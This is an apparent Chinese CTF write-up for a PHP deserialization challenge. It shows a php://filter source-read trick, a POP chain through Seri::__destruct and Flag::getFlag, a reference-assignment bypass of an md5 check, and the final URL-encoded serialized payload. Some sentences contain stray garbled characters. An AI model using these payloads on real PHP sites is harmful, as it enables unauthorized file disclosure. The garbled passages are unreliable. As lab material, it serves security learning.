題目
php反序列化，pop構(gòu)造玫坛，常規(guī)題
過程
1.index.php頁面右鍵查看源碼掂僵，感覺要用php偽協(xié)議去讀try.php
2.
?file=php://filter/read=convert.base64-encode/resource=這次沒有過濾，直接讀到index.php
try.php
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}
3.尋找pop鏈
Seri類中的魔法函數(shù)__destruct()使用getFlag()方法授嘀，F(xiàn)lag類中的getFlag()定義該方法。
構(gòu)造一個(gè)Flag類型的變量锣险，傳入的參數(shù)為flag.php蹄皱。$Flag=new Flag('flag.php');
構(gòu)造一個(gè)Seri類型的變量，傳入的參賽為$Flag芯肤，這樣銷毀$Flag的時(shí)候巷折，就會(huì)調(diào)用__destruct()。$test=new Seri($Flag)
在getFlag()方法中還有一個(gè)md5判斷崖咨，要使t1锻拘，t2值相等才可，其實(shí)不用。直接使用php的引用賦值即可署拟。
a=1;
b=&a;
a=a+1;
那末最后b得值也會(huì)變?yōu)?婉宰，因?yàn)閎是引用賦值。所以最終$Flag->t1 = &$Flag->t2;
最終payload
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}
$Flag=new Flag('flag.php');
$Flag->t1 = &$Flag->t2;
$test = new Seri($Flag);
echo urlencode(serialize($test));
?>
O%3A4%3A%22Seri%22%3A1%3A%7Bs%3A5%3A%22alize%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A2%3A%22t1%22%3Bs%3A32%3A%224a2ddf148c5a9c42151a529e8cbdcc06%22%3Bs%3A2%3A%22t2%22%3BR%3A4%3B%7D%7D0a49e3c3a03ebde64f85c0bacd8a08e20a49e3c3a03ebde64f85c0bacd8a08e2
4.只是這樣還不行推穷，觀察index.php心包，反序列化后傳給p。
最終payload：
url/?file=try.php&p=O%3A4%3A"Seri"%3A1%3A{s%3A5%3A"alize"%3BO%3A4%3A"Flag"%3A3%3A{s%3A1%3A"f"%3Bs%3A8%3A"flag.php"%3Bs%3A2%3A"t1"%3Bs%3A32%3A"8e98d81f8217304975ccb23337bb5761"%3Bs%3A2%3A"t2"%3BR%3A4%3B}}6e17a5fd135fcaf4b49f2860c2474c7c6e17a5fd135fcaf4b49f2860c2474c7c
